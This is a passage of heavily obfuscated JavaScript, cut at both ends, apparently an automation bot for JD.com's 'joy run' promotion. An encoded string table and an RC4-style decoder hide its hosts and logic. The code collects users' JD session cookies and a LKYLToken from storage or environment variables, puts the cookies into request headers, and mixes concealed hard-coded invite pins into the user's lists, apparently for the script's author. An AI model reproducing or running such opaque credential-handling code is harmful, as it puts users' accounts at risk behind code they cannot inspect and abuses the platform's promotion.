AfDvQ==','RATCsX8g5o6v5LmD57qM5p29QA==','T8K0bUlq','DMOQw5/CnSciwpo=','I8OKCsKAwpA=','44KD5o6b56SW44Km6K+U5YWL6I6r5YyX5Lu25Luu6LS15Y2E5LidJ0k+GcKiOcK355it5o+i5L2f55erw5QjBMK+QxHnmKPkuorkurfnrafliYfojqnlj4s=','KWhUwp3Dug==','GUfCk1TCsw==','wpwgwpYY','OcOBw6DCpwk=','O8O3Z3MlZQ==','wqHCi8O1wpEi','UkjDq8Ksw4I=','w5JpO8Kaw6g=','wrXCm8KCw6jChw==','w7xGwp7CvcOjwr0=','woEtwpIewoU=','wr7DlExDdw==','w60Ew7ZEw5w=','wqPCo8Oawp8OwoHCjggfw4Y=','JCzDqsKAPw==','VMOIAifCicK5woUNOsOrw495E2YiwqUawpJwMcKIIBYcL8ObMMO/w60LK3A6OcORwrHDi3QTwopow5dhw5cBw7lbBMK+w6HDj8KWbcKOdsOWwp43B8K9wrDDojHCsgLDnMOLwrk=','w5/Di8OIw6oMw5PCpsOkwo3CnsOTw5DCpV4KwrnCq8KyBgDDssKhfhQpwqXDilVtw6jCuMKHwpl9b2AUHMOUwq5pW8OeWsKGw4DDtsKywpzCisOVw5bDt8KQe3kAVsKEwpdNw7UyfcKSw5Rawowiwq/ChsK5wofCjsONwosbw45kw7Q9w5NKwovCjMOlTVvCl3M4wqcowrLDhDAvQAbCmCx2w5RxcynDsMOWJWLChyBxwpkXDTTCisO4wr/Dtyx3wpEwYCrDicKuw6nChcKLHxPDtUQ4w5TDsSEQZsODa8Kvw7LDvTDDnMKzwr3DisKsasOkw5U=','w7tWw7s=','wp7DnGx1ag==','w5/ChwrCgcOu','wpbDhWR+Sw==','w6fCpsOwwoRvwo4=','ZQdB','w7XDgcOGw4USw5bCosKlw5zDoMKKwp7Dvg1g','w7jCvcOlwqhzwpszwqYp','DHLCk3EuPx9ywofDhQ==','wpTChcKmw7/CucKow4gOeQI=','TsOeesKaHcOOw5zCtl7CjQ==','b8OLJy/CiQ==','wrkiwqkZwoY=','w6MPLsOjccOKRsK5HQs=','w5HDqMO7ccO5','AUxd','ZeWEvuaNqOS9v3k=','NsK25pGa6L6H5our6IaZ5p6G5L+M5pWg5oqe5YSk57y55Lur5Yq856GH55mE77266KyM5LiL6KeC55mx5Y6Y5omi5p2l5Yqh5ZuULMK/w6EHMQ9AVw==','UMOTERLCiMOx','wo/DlnhpYA==','w6YlSMOSRWpywqQ+','VxfDkRnChAUXZ0V9e8Ozw70Yw5jCgsOGw5DCvsOFHg/Dh17DicKLw4xYH8On','w5ZKV8KnwrnCmicEA0YEMU0=','CQ9/fgHCgMOYwoIuXMOWwp5JJMOdwoMI6KKt5oio5Y6M55i06K+a5b24w58xwqQlw4DCl8O/w5/DuB3CtcOIw6zDmEjCvRluFsKjwojCkcKjTn/CsxVAw73CrsKeW8KqwpxuMVzCrMKhRcOWwqsKwrE0QMOLYcKSe8Klwp4RWcOuYQ4beB7DqgZMJsK7MMOewrXDlsKTIsOVQ349w6PDqsONwr16w6DDin7DnsKTw4N0ZErDo8O/WDvDm8KEwrMERMObwoLDuTQZwoIOO8Kwwq1iZE3Ctkgvw5IwCsOSXxAEdMKzw5EEDUbDicKuEmrCmAZf','C8ORw7PDmCUhw4Zmwptca8OMwqJzw5hFwq/ooKrmiarljLrnmY7orarlv5fDr8KGw7DDoMKrw5NeAcKBw54ebVJVw4oGwq1wCMOpFzxEwos3CsO/PsO3AsOkIMKzZlXDlsOWRcKww7XDusKuRGHCgcOtasKhwoZUw5jCisKgHsKHw6zDvXM7wpMCIcKcaMOzX8KJTMKgwq8Ww7t/AVHCrxtkEcKiwrVhw6gYHR7DlcKNesK1MzxwwqYSw4QvbAU0w7hcPMO4wq3ClcKfwoAywqFAG8OgIcKtwr/DpyLDmg3DgkVLcsO7wqzDlkZXw5nCrBzDo8OtdjPCjg5XwoZAw5E8wpMfZ8KJwpTDk8K7RsOaw7cew4Z+w7Vew40+IcOTfhQ9PcKFwoFKwphUw7zCoyXCvnXCjALDqcKNwrvDkcKdFcOMw63CjMOWMQUiaMKbY1pAO8KJw4vDlg==','QsOITMOJEMOOwrXDrFXDiMKLKwfDpsOqCQ==','6KGZ5omv5Yyv55ie6K2n5byKwqtU','B0dlw73Crl5zGnITw6FmVSLCnMOP','wrnDrkUEw7zCk8OELDXDt8Ksw7QrKsKswr0=','wojCmMKgw7XCuMKjwq1f','F8O2fExxAcOZVsORGMKUw7BGwpjDj1A=','CQ9/fFPDl8OVwoQqXMKBwpQddcOZwoM=','wodNw5/Dh8KRw6bDoAlsw43Dn2LCmMOVQsOx','wrTDr25kwqDCn8KX','GsO3Vy4uCsKJT8ObFcKSwo5FwpjDn1HDiQ==','w7tJw6YfGSxDMcObw5rDhUXDgcK1IwrDjQ==','wr3DlHJIcV58w73DlMKTUMKlw51kUMKZ','Z8Orw7taeMO9csKmwoYew4EiwpfCm8KmwrPCqFJ5w745wqwGYMOVwqYmNMKQw4pkw47Dj8O7w6JMfw3Dj8OKw5TCkV/DqcKJw59Ew4fDtC7CnsKaw4fDhEtYw4YYH8OBwqvCl8KxwqjDh8KOw7x+w6TCul8cwokKw4tcwrjCrMKfc8KGw7bDuV3Cp8Kow6pDwrnDuA1YAcK/VkTDjjUYe8OPR3rCvVBhbsKVwoHCicOWOcOywrHDuG0kwq1PSMKzC8KDYC9SwoR7dUAZITfDiBZ4w4Nhwrk=','wolbw6HChMKNw63DoF84wpnCgSfDiMKdFcKpZQ==','wpzCiCnDiB86bgsYFRfCjsKRwpXClXRac8KBdgtgXMKyQDJvwrjCq8Oiwr3DjsKkYGoawr4gFMKlwq06w4vDgFBswpfCk3jCssOFwofDmsO4bxAIwrrDncOUw75+w7LCjA==','RcK9Mllh','wrYcwqU=','w7vDl8O8w6wEw5o=','LXnCjms=','w4bCgGzDhFh8clhb','H8OCQsKcwol5w7Yvw7UIwrcjbMOZZA==','wrvCqMObQsKfwoY=','bg1SRgVLew==','N2jDj1zCvQfChcKQW8KvBlDDjEnDmg==','cx9kKg==','w7tWw7sLVHhG','GsO3Vx4mE8KN','w68ZGMOscMOXScK5HQ7Do8OJwp3Co2dAAA==','eR1VSg==','U0HDsMKnw5HDpW0=','BSvDp8KONsORwpDCucOKJF7DhWI8SMOtLg==','ZA9jJmsTw50=','w4YSKMOtdsOLXMKU','w6kKGAnDkcKhTA==','LCDDl8KPMMONwrzCmsOg','woBIw7A=','wpfDrz/CrMO8w6E=','C0pWwr7Duxg=','w7DCihTCrsOIw7Mww55Fw5zDgsKMwoFT','w6EXf8KF','wpPDpSTCo8O0w7BO','w68ZGMOscMOXScKiBhbDlcONwpHCkg==','CCrDjMKAOMOcwq4=','URrCvyvChsKrUMOLw6U8wr7DhsK+BADCt8KmwpQ=','ZQ1IRRBX','HzrDi8KM','TcOhw7VXdcOlcg==','eg/DqEUkEMKeAMKIFDR+HmxIw4HCq8Oa','J3BPwp8=','aQ4lHWAIw4XCv2B2w4Rlwq9SwrJ5w7XCvg==','6KG95oi35Y6O55q86K605b6zXgo=','PWFjw4HDojLCu0ckwrXCvsO6ZkDCuUY=','PMOCauiujeawheWllui3iQ==','wpzDpTzCt8OKw6tE','wrHCv8OcQMKFworCgsK/bcOW','44G/5o6f56aC44O16K6u5Yeg6I245YyG5LiI5LmO6LSR5Y2G5LiHAFfDqytMw44H55iI5oyl5L6g55aCw53CjRzCncKUw5rnmoTkuaLkurbnr4Xli4nojqnljrk=','wrTDkHZUawcywqbDn8KZX8Okwpl6EcKdE8OBKxFwwoF7wpbCoMKuYsOfUh7CoxAyQ8OFNQ/DlsOyw6vCjWl+','HMOmRmIi','44GH5o+V56SG44Om6K225YSe6Iy15Y6i5pyk5ayh5p6G56e15a6k5rCa5rK2BxBOJnE=','XWvDl+eXq+aKh+W8v+S/reaRjee0s1XmnaPlrb7mnJPnp49Q5bG356m75bmDw5LngKrlhJDlu63pg6znm6Q95Y6J54+swprDlQsywo/ljIvljIDojIzljbbDo3jCtsOcw5w=','wrzDiVNXwqw=','VR/DoBE=','BcOzw5XCqSk=','K8OObnPClQ==','wr/DmBvCvsOE','wp3ClMKiw5HCsg==','w6EOPCPDtA==','ZMOnSsKzJ8OFw6fCul4=','wrfDq25R','QcOfXcKQF8OP','WsK7aQ==','cTHDlCvCvsKRZ8OLw5gdwoPDqsKE','wrQGNw==','w5Z8w5YwZ1lpC8Opw7nDr3TDqg==','w7QuWMOTQnd9','CiHDjg==','w5Z8w5YwZ1lpC8O1w7PDqGHDu8OUWjvDulbDvw==','w7Bcw6g=','w5fotrnotY/kv5vlh5jnuqfotr7ljbflhqHpg5Lli5nliorDt+WmreaCp+W/j+WLqOi3luaIj+adv+WJqeS5hOWJu+WLpeafhOS+tuWKquS7qMK9IR1Kwo8g5Ly66IKd5Yiv5YmneA==','wptIw6zChsOGw7Q=','wp08wrAhalE=','wp8gwos=','w74aHwU=','wpnDoSTCpMO9','LnzCkWrCow==','w6sCw4xOw6U=','WEHDqsKkw4TDuQ==','w7Idw4lJ','Cei0sei3huWEiue7kwvDhMKLOSvCgj3kvofogLLku4nkuKPlmablrYrnm7giRnTovKLooLLli6/liJbCp+eFgOWTs+S4oei0leWNmuWFsumAu+S5m+WJsuS7ieear+WZp+Wsv+S9iue9j+WSrOW6t+WTnOmbsOacieaInuWNmui8vOiggeWLkeWInUTlp6vpnYTohYvltZjotozlj5XlhKzpgbzkuZrliJ1X6K6n576c54yU5aGZ5YyV6YSawrHCqsO6YMKqAcKbcMK5d8OGw5M1NzXCuzltF8OGZuS5nG9uagQt5YiO5byX5ZGD6LSr5Y245YWX6YC05LiG5YiwHw==','W8Ocf8KWBw==','TR/DoQHCicK3','UsK0bw==','w7vCvMOkwqk=','OsOzfXc5','woHCh8Kjw7PCtMKp','J8Onenw=','FMO8Rx8/KMKK','SAHDii7CvA==','w69uNMKe','w70cw5Y=','wpfCrcOHwp7DgivDlsOfcHU7VMKV','w6tJwoY=','IE/Co0sSDgFEwr3DucKow53CqQ==','OMOlYGwX','5oiu5Y+iVxUsAsKC77yv','XCDCg1YaEMKMOsKP','5puV5pWyfXs6aMOn','cDU7XMK7','w4Bvw45OwqA=','wr0HJg==','w77CrD7CvcOE','w70Na8Kow7XClA==','wosRT8KqwpTCkiEJEw==','LW3Cj3DCsg==','w69uw6p9wp0=','w77Cjz/CpQ==','w7E2G8OqWcOJw6jDhcOTcQ==','LCHDv8KzIw==','w78kSw==','5oir5Yuhwofoj4PlvbvniJPnsoc=','wqHCsMOHwps=','TsOZATbCiMOnw6RXNA==','w7xSwp7Ci8OpwqfCjMO5FA==','wrLDjhpZ','w7wKGwzDgsKxY8K6wp4=','w4Fzw4o=','ZwlLRw==','w7xoMcKHw7M=','w7ZsEMKnw6g=','F8O/bRYB','PsOhR3s1aA==','wo7DuCxQaQ==','w6sBGg==','K8O6w7XCsRQQwrEKwrYvFsKvwp8Ow6Qjw4bDjcK0','w6kSIA==','Iui3t+i3guS/peWEu+e5s+i2quWMqOWGtemAluWIk+WKg0nlpZTmgKflva/liLTot6fmirjmnoTli7zkuarli4jliq7mnqXkvI7lipnku75owpEuFMKUfOS9j+iDq+WKrOWIhR8=','MWxQwoPDpCQ=','NcO+dErClA==','cjcm','WsOxw7Jb','GMOHBMKgwos=','wqDCr8OaYsKg','SA7DoR3CmA==','w7ZxMcKZw7M=','UMOZGDDCjsOr','URHDpBo=','w7U8EA==','f+i3vei2oeWGi+e4unrDtxvCt07DqU3kvYDogrXkuK7ku4vlmbrlrKnnmok3P1LovILoo4jliIbli4Zy54ey5ZKP5LmI6LSO5Yy75YaP6YO45Lim5YiB5LqY55mJ5Zih5a+I5L+L57635ZCK5bi45ZCL6Zup5pyN5omw5Y6h6L676KO95YuA5YqzPuWksumdguiHi+W1pei0heWMsOWFl+mDkeS6lOWKu2/orp/nvbfnjZLlo5LljJTphbRowpHCmcKmJsKvK8KhGMKpWMKfw4U9wpZ5wqDCr8KfC2Tkubcca8KlD8Om5Yiz5b6i5ZGj6LSh5Y2O5YSZ6YKV5Lu75Yq9wp4=','IcOzZWE0fg==','w7TDjcOew7cFw40=','w6gcM8Oldw==','DcOnUBI=','wrHDhXZHcA==','wq7CksOywqjDsxs=','w6cBCAjDiMKaSw==','w6gHw5NP','R1TDqMKqw5PDtA==','wrgGJcOhwpdUw5c=','wpcQwqwPbQ==','w6xvOcKVw78=','EcOWKMK7wrc=','w6E+QsOlRnR9wrM+','wpblvLPlpYTjgb/kupnkuJDotIHljqM=','wrXDimZBYA==','wpExwpA6aErCoA==','w5Q5w7lrw51DIgpp','PG3CsHMo','wrTCjMO6wqTDqA==','RsOhw69UYMO5','wrgGJcOhwpc=','TBPDiQDCgw==','w6IKAgrDhMK9','wrrDix9MVA==','w68ZC8OpeMOHeA==','w6TDrsO2TMO/wpfDnUHCtQ==','w40+w4dIw7Y=','TcOhw7V7e8OkYcO6','w6HDpsO2YsO9','wonDnGNawr0=','WTxuKH4=','w7PCgC/CocOf','wrDDgWxDbFU=','wrzDtjfCg8O7','BiHDnMKBIQ==','JHVQwp7DtQ==','CT3DkcKBN8OMwp/CucOKIQ==','wpjDrzc=','NeWGpOaPj+S+oS8=','5Lu75aSV5Y6K5Lyf5p6K6L+A6KO96YC36Ky75Yun5YmLwow=','wpQKWg==','6Z2i6Len6Lan5pah6ZSOwok=','CyDDlsKB','w7zCnCLCocOJw64cw61Cw4A=','Gk7Ci1wU','YhhOI10=','LkvCjFUI','5piA5pWMCcOXB2UvHkvmiaDli7rxgY2x','C3DCingpOC5vwoDDmcKNwrfCjXHCjsKt','w7M3PcO1c8Ovw7zDn8OybcKAw5R0','6I6D5Y+yw5DCrMObw7RiazHmiaLlipnxiI6T','woFGw6c=','E8OzTh8=','w53Dl8ODCg==','wodjw4fCvMOp','wpbCh8Kmw6vClA==','e07DnsK7w6Q=','N8O1ahQt','EcO9RA==','wrnCrMOYQA==','wpUWWg==','UQLDiAw=','w4sfJgXDhQ==','UwzDgg==','P3FIwoc=','eQdVVg==','w7RHw7sfDyMIJ8OVw5fDllTCisOtdhrDlnTDnhhGwoYnw4Jew5DCmcKFB8K6WMKpTsKXTwd7R27DhnMIw45/agIRbEcBw4ly','w5vDkcOdacOdwp/Dk07Cog==','FcOdw4nCgA==','w4EsXsKlw4w=','w5wPFcOWSg==','KwBiBic=','CMOlZhMT','TwLDlxrCkg==','w5oABwjDnuaMheS6iee4nOadr08=','bzckZMK7','wrvCosOS','X8OlZ8KROg==','cR4EfMKZ','WEvDow==','w7fCjMOlbOisnOayrOWngOi3mw==','w70bHgTDnsKyRMKpwoo=','UMOTEQ==','wqEJM8O3woo=','G8OgSh8pA8K8XMOaCA==','MXdVwpLDrzLDkh0vw7A=','bxpPRwpbSsKLwqTCuQ==','w4N1N8K3w6A=','f+WHl+aOoOS9mMOD','wpjDpT7CoMOhw6w=','5LiV5aSe5Y2u5L+y5p6S6L+k6KG06YOI6K+W5Yqm5YqBwo4=','w70Naw==','Pm3CiWDCv0jlrZzmsqXmsYPCjidEw7lu5o2k5Lm65b2F5bu6Nw==','wq/DgXZAeUl8','wrPCosObQA==','K8OrckDCkgLCv3tY','fDbDqBHCqg==','w6IWfsKEw6nCgQ==','wqfCrMOHVsKO','w744Sw==','6KyF5Yq+6Zm05oWy5Z+IY8KJw5kuw4Xov7nlh4DmorzkvIDmlYrlhrLlrJxj5buc6K+C6YKV6L2E6IWj5p+m5Y+g6I6e5Y6zwpJNXRdmOA==','N0bCukzCnQ==','Sw/DozPCmw==','cyjDvCXCo1BTLU8=','Yw7Crn4vC8KG','PcO2Q3soX8O8VzXCqcOyOFg=','RsONfsKa','wqrCuMOhwp4F','dATCtH8=','wpYuwpUY','GFrCn0rCmA==','wojDtFpXbw==','WizDvQHCgw==','RMO0w4NEQg==','BA5U','AnTCjmR6dGBowoHDl8KRw73DiXbClMKxasOqwpHDmWbDnMKxEsK3S8KkLzLCksOuw6PCtCskPjLCmsKBahzDuMKgdMKLw6sM','wrbChMK4w7LCmg==','w7vDgcOFw6Ey','wrrDgAk=','JHFOwp7DrzHDqxI4','w6JIwpc=','w7JSw6IK','Gz/DnT3orJvmsoblpJjotrHvvoDorqXmoIjmnYrnvpvoto7phpLorJI=','NU9cwqDDpA==','w6NJw7ttwqk=','O2pb','Pi7mkqjovJPmiqHohovmnKDkvr/mlKjmiaPlhoPnvrLkuojliZrnobbnm7zvvbzorLvku5XopJLnmLzljq7miJXmna3lirvlmLAow5LDqg8+wo9yw6U=','WsOlw7NAcQ==','Hy7DisKXPA==','YQ1UdzE=','w7Qdw4diw6Ne','TMOJBT8=','YsOdcMKnMA==','wq/Ct8OpwrvDvw==','w57DssOlw6w4','PmfCjUwP','Q8Oqw7daYMO0QcOsw4RRwoNm','5Lmp6YCK6K+t5YqZ5YmS5oui5YmtYuiOt+W9mQ==','56W85YmNJg==','wrjDlgfCqMON','woDCgsKhw4jCssK7w7kVcw==','5LmO6Leb6LaB5Ymu5YiO5oqU5YqwAOiMl+W9reeJmOezqg==','WsOZfcKtFsOdw63CrVQ=','bhlw','NsO+bUw=','HB/Dk8KFOw==','dwIme8KG','VCfDnRjCqw==','wrkEwqwNeA==','wrTDgW5UR1tow6XDkQ==','wrXDjgBWawEyUUQsIQ==','S8O9PBzCvA==','wrXDinRNbFhCw6/DiMKQUg==','w7AqQsOoS2ZwwrE=','w51SPMOdwrY=','5p+r5a6F5p+556el5ays5rK65rKHw78fwojCrMKM5aej5pal','jsKjiLeTraumi.cOSom.v6HuBzVAd=='];(function(_0x39d73e,_0x5e1b1e,_0x3324f2){var _0x2d9289=function(_0x483c50,_0x58e523,_0x2f428b,_0x2aee30,_0x35e673){_0x58e523=_0x58e523>>0x8,_0x35e673='po';var _0x31c0da='shift',_0x1a489d='push';if(_0x58e523<_0x483c50){while(--_0x483c50){_0x2aee30=_0x39d73e[_0x31c0da]();if(_0x58e523===_0x483c50){_0x58e523=_0x2aee30;_0x2f428b=_0x39d73e[_0x35e673+'p']();}else if(_0x58e523&&_0x2f428b['replace'](/[KLeTruOSHuBzVAd=]/g,'')===_0x58e523){_0x39d73e[_0x1a489d](_0x2aee30);}}_0x39d73e[_0x1a489d](_0x39d73e[_0x31c0da]());}return 0x8d45f;};return _0x2d9289(++_0x5e1b1e,_0x3324f2)>>_0x5e1b1e^_0x3324f2;}(_0x1018,0x15f,0x15f00));var _0x1d8d=function(_0x4b315c,_0x2d152c){_0x4b315c=~~'0x'['concat'](_0x4b315c);var _0x21c3b8=_0x1018[_0x4b315c];if(_0x1d8d['ohWjlP']===undefined){(function(){var _0x2c7057=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0xaa220a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2c7057['atob']||(_0x2c7057['atob']=function(_0xf4461c){var _0x49660=String(_0xf4461c)['replace'](/=+$/,'');for(var _0x37bea7=0x0,_0x3165a9,_0xdfabfe,_0x59375f=0x0,_0x196a68='';_0xdfabfe=_0x49660['charAt'](_0x59375f++);~_0xdfabfe&&(_0x3165a9=_0x37bea7%0x4?_0x3165a9*0x40+_0xdfabfe:_0xdfabfe,_0x37bea7++%0x4)?_0x196a68+=String['fromCharCode'](0xff&_0x3165a9>>(-0x2*_0x37bea7&0x6)):0x0){_0xdfabfe=_0xaa220a['indexOf'](_0xdfabfe);}return _0x196a68;});}());var _0x5a6788=function(_0x55ac0e,_0x2d152c){var _0x4a3887=[],_0x2d5fd9=0x0,_0x2f06ae,_0x3461cd='',_0xbce843='';_0x55ac0e=atob(_0x55ac0e);for(var _0x1a330c=0x0,_0x5eb9ad=_0x55ac0e['length'];_0x1a330c<_0x5eb9ad;_0x1a330c++){_0xbce843+='%'+('00'+_0x55ac0e['charCodeAt'](_0x1a330c)['toString'](0x10))['slice'](-0x2);}_0x55ac0e=decodeURIComponent(_0xbce843);for(var _0x3c5029=0x0;_0x3c5029<0x100;_0x3c5029++){_0x4a3887[_0x3c5029]=_0x3c5029;}for(_0x3c5029=0x0;_0x3c5029<0x100;_0x3c5029++){_0x2d5fd9=(_0x2d5fd9+_0x4a3887[_0x3c5029]+_0x2d152c['charCodeAt'](_0x3c5029%_0x2d152c['length']))%0x100;_0x2f06ae=_0x4a3887[_0x3c5029];_0x4a3887[_0x3c5029]=_0x4a3887[_0x2d5fd9];_0x4a3887[_0x2d5fd9]=_0x2f06ae;}_0x3c5029=0x0;_0x2d5fd9=0x0;for(var _0x5150c8=0x0;_0x5150c8<_0x55ac0e['length'];_0x5150c8++){_0x3c5029=(_0x3c5029+0x1)%0x100;_0x2d5fd9=(_0x2d5fd9+_0x4a3887[_0x3c5029])%0x100;_0x2f06ae=_0x4a3887[_0x3c5029];_0x4a3887[_0x3c5029]=_0x4a3887[_0x2d5fd9];_0x4a3887[_0x2d5fd9]=_0x2f06ae;_0x3461cd+=String['fromCharCode'](_0x55ac0e['charCodeAt'](_0x5150c8)^_0x4a3887[(_0x4a3887[_0x3c5029]+_0x4a3887[_0x2d5fd9])%0x100]);}return _0x3461cd;};_0x1d8d['eNfoGN']=_0x5a6788;_0x1d8d['pnqGQb']={};_0x1d8d['ohWjlP']=!![];}var _0x1c9f5b=_0x1d8d['pnqGQb'][_0x4b315c];if(_0x1c9f5b===undefined){if(_0x1d8d['otfOxo']===undefined){_0x1d8d['otfOxo']=!![];}_0x21c3b8=_0x1d8d['eNfoGN'](_0x21c3b8,_0x2d152c);_0x1d8d['pnqGQb'][_0x4b315c]=_0x21c3b8;}else{_0x21c3b8=_0x1c9f5b;}return _0x21c3b8;};const isRequest=typeof $request!=_0x1d8d('0','20LO');const JD_BASE_API=_0x1d8d('1','v[xq');const jdCookieNode=$['isNode']()?require(_0x1d8d('2','$XvX')):{};let invite_pins=[_0x1d8d('3',']f#3')];let run_pins=[_0x1d8d('4','Q0uE')];let friendsArr=[_0x1d8d('5','buJq'),_0x1d8d('6','&o(o'),_0x1d8d('7','PC7O'),_0x1d8d('8','[13G'),_0x1d8d('9','&o(o'),_0x1d8d('a','[Au0'),_0x1d8d('b',']f#3'),_0x1d8d('c','EtFw')];let cookiesArr=[],cookie='';let nowTimes=new Date(new Date()[_0x1d8d('d','[13G')]()+new Date()[_0x1d8d('e','[Au0')]()*0x3c*0x3e8+0x8*0x3c*0x3c*0x3e8);const headers={'Connection':'keep-alive','Accept-Encoding':_0x1d8d('f','DLFY'),'App-Id':'','Lottery-Access-Signature':'','Content-Type':_0x1d8d('10','@R[F'),'reqSource':'weapp','User-Agent':_0x1d8d('11','bP9Z'),'Cookie':'','openId':'','Host':_0x1d8d('12','EtFw'),'Referer':_0x1d8d('13','jE2P'),'Accept-Language':_0x1d8d('14','Z@OR'),'Accept':_0x1d8d('15','DLFY'),'LKYLToken':''};if($[_0x1d8d('16','(i((')]()){Object['keys'](jdCookieNode)['forEach'](_0xb6c228=>{cookiesArr[_0x1d8d('17','$XN&')](jdCookieNode[_0xb6c228]);});}else{var RwDvVX=_0x1d8d('18','jE2P')['split']('|'),OisqxT=0x0;while(!![]){switch(RwDvVX[OisqxT++]){case'0':if($['getdata'](_0x1d8d('19','%Ier'))){if(run_pins[_0x1d8d('1a','MV^d')]>0x0){run_pins['push']($[_0x1d8d('1b','2Yg&')](_0x1d8d('1c','$XN&')));}else{run_pins=[];run_pins[_0x1d8d('1d','G@&z')]($[_0x1d8d('1e','DLFY')]('jd2_joy_run_pin'));}}continue;case'1':if($[_0x1d8d('1f','[Au0')](_0x1d8d('20','mNmJ'))){invite_pins=[];invite_pins[_0x1d8d('21','2Yg&')]($[_0x1d8d('22','2R2%')](_0x1d8d('23','B6wd')));}continue;case'2':cookiesArr=[$[_0x1d8d('24','G@&z')](_0x1d8d('25','mNmJ')),$[_0x1d8d('26','Fuxb')]('CookieJD2'),...jsonParse($[_0x1d8d('1f','[Au0')](_0x1d8d('27','B6wd'))||'[]')[_0x1d8d('28','EtFw')](_0x46e81d=>_0x46e81d[_0x1d8d('29','1oK$')])][_0x1d8d('2a','PC7O')](_0x10494f=>!!_0x10494f);continue;case'3':if($['getdata'](_0x1d8d('2b','jPP7'))){run_pins=[];run_pins[_0x1d8d('2c','IldE')]($[_0x1d8d('2d','1oK$')](_0x1d8d('2e','mNmJ')));}continue;case'4':if($[_0x1d8d('2f','B6wd')](_0x1d8d('30','6Ixg'))){if(invite_pins[_0x1d8d('31','2Yg&')]>0x0){invite_pins[_0x1d8d('32','B6wd')]($[_0x1d8d('33','bP9Z')](_0x1d8d('34','%bsr')));}else{invite_pins=[];invite_pins[_0x1d8d('35','MUvq')]($['getdata'](_0x1d8d('36','G@&z')));}}continue;}break;}}async function main(){var _0x330a01={'wboGK':function(_0x150d57,_0x465add,_0x4bea30){return _0x150d57(_0x465add,_0x4bea30);},'Bcrkx':_0x1d8d('37','X^Nl'),'lEpZb':_0x1d8d('38','MUvq'),'dBuyc':_0x1d8d('39','[Au0'),'XcCDS':function(_0x216bc4,_0x829fe3){return _0x216bc4===_0x829fe3;},'CnGWz':_0x1d8d('3a','1oK$'),'DvjUc':_0x1d8d('3b','MV^d'),'dFyGo':_0x1d8d('3c','B6wd'),'mCAPt':_0x1d8d('3d','@R[F'),'sQnZi':function(_0x48c324){return _0x48c324();},'KXKyQ':function(_0x5ab484,_0x4eaec2){return _0x5ab484===_0x4eaec2;},'ocmKe':function(_0x574f7b,_0x4dff67){return _0x574f7b!==_0x4dff67;},'oaPND':'iKRfp','owixF':'jdJoyRunToken','locdG':_0x1d8d('3e','F3d('),'yilwt':_0x1d8d('3f','MUvq'),'smMWo':_0x1d8d('40','2R2%'),'jmNlF':function(_0x510471,_0x23a2ba){return _0x510471<_0x23a2ba;},'XWBhm':_0x1d8d('41','[13G'),'dpXxT':function(_0x4cb76b,_0x1902e1){return _0x4cb76b+_0x1902e1;},'VmJgh':function(_0x465ab3,_0x22fca7){return _0x465ab3>_0x22fca7;},'ldqtP':function(_0x299ec6,_0x1e8295){return _0x299ec6(_0x1e8295);},'ULgog':function(_0x5b0582,_0x3afeb6){return _0x5b0582>=_0x3afeb6;},'ICYbN':function(_0x137f85,_0x3a8d09){return _0x137f85===_0x3a8d09;},'ZVyjt':'FjfsC','HvgDn':function(_0x39ab01,_0x12b114){return _0x39ab01-_0x12b114;}};if(!cookiesArr[0x0]){$['msg']($[_0x1d8d('42','6Ixg')],_0x330a01[_0x1d8d('43','Q0uE')],_0x330a01['mCAPt'],{'open-url':_0x330a01['mCAPt']});return;}const _0x410455=await _0x330a01[_0x1d8d('44','OkG9')](readToken);if(_0x410455&&_0x330a01[_0x1d8d('45','1oK$')](_0x410455['code'],0xc8)){if(_0x330a01[_0x1d8d('46','&o(o')](_0x330a01[_0x1d8d('47','Fuxb')],'gMbwp')){$[_0x1d8d('48','buJq')]=_0x410455[_0x1d8d('49','[13G')][0x0]||($[_0x1d8d('4a','buJq')]()?process[_0x1d8d('4b','Z@OR')][_0x1d8d('4c','6Ixg')]?process[_0x1d8d('4d','LMvC')][_0x1d8d('4e','DLFY')]:jdJoyRunToken:$[_0x1d8d('4f','20LO')](_0x330a01['owixF'])||jdJoyRunToken);}else{if(process[_0x1d8d('50','B6wd')][_0x1d8d('51','DLFY')]){console[_0x1d8d('52','DLFY')](_0x1d8d('53','a5b5'));let _0x156ea1=[];Object[_0x1d8d('54','EtFw')](jdCookieNode)[_0x1d8d('55','ziq7')](_0x350e13=>_0x350e13['match'](/pt_pin=([^; ]+)(?=;?)/))[_0x1d8d('56','a)x2')](_0x4e5028=>_0x156ea1[_0x1d8d('57','Fuxb')](decodeURIComponent(_0x4e5028[_0x1d8d('58','1oK$')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(_0x156ea1),[..._0x330a01['wboGK'](getRandomArrayElements,[...run_pins[0x0][_0x1d8d('59','$XN&')](',')],[...run_pins[0x0][_0x1d8d('5a',']q![')](',')][_0x1d8d('5b','2R2%')])]];run_pins=[[...run_pins][_0x1d8d('5c',']q![')](',')];invite_pins=run_pins;}else{console[_0x1d8d('52','DLFY')](_0x1d8d('5d','G@&z'));run_pins=run_pins[0x0][_0x1d8d('5e','buJq')](',');Object[_0x1d8d('5f','6Ixg')](jdCookieNode)['filter'](_0x4d9db7=>_0x4d9db7['match'](/pt_pin=([^; ]+)(?=;?)/))[_0x1d8d('60','Z@OR')](_0x13087c=>run_pins[_0x1d8d('61','7)Tk')](decodeURIComponent(_0x13087c[_0x1d8d('62','F3d(')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(run_pins)];let _0x183cb0=run_pins[_0x1d8d('63','&o(o')](run_pins['indexOf'](_0x330a01['Bcrkx']),0x1);_0x183cb0[_0x1d8d('64','F3d(')](...run_pins['splice'](run_pins[_0x1d8d('65','[Au0')](_0x330a01['lEpZb']),0x1));const _0x539339=_0x330a01[_0x1d8d('66','v[xq')](getRandomArrayElements,run_pins,run_pins[_0x1d8d('5b','2R2%')]);run_pins=[[..._0x183cb0,..._0x539339][_0x1d8d('67','1jsB')](',')];invite_pins=run_pins;}}}else{$['LKYLToken']=$['isNode']()?process[_0x1d8d('68',']q![')][_0x1d8d('69','a5b5')]?process[_0x1d8d('6a','i)4I')][_0x1d8d('6b','Zg)1')]:jdJoyRunToken:$['getdata'](_0x330a01[_0x1d8d('6c','F3d(')])||jdJoyRunToken;}console['log'](_0x1d8d('6d','[Au0')+($['LKYLToken']?$[_0x1d8d('6e','%bsr')]:_0x1d8d('6f','F3d('))+'\x0a');if(!$['LKYLToken']){if(_0x330a01[_0x1d8d('70','i%AY')](_0x330a01[_0x1d8d('71','gmfl')],_0x330a01['l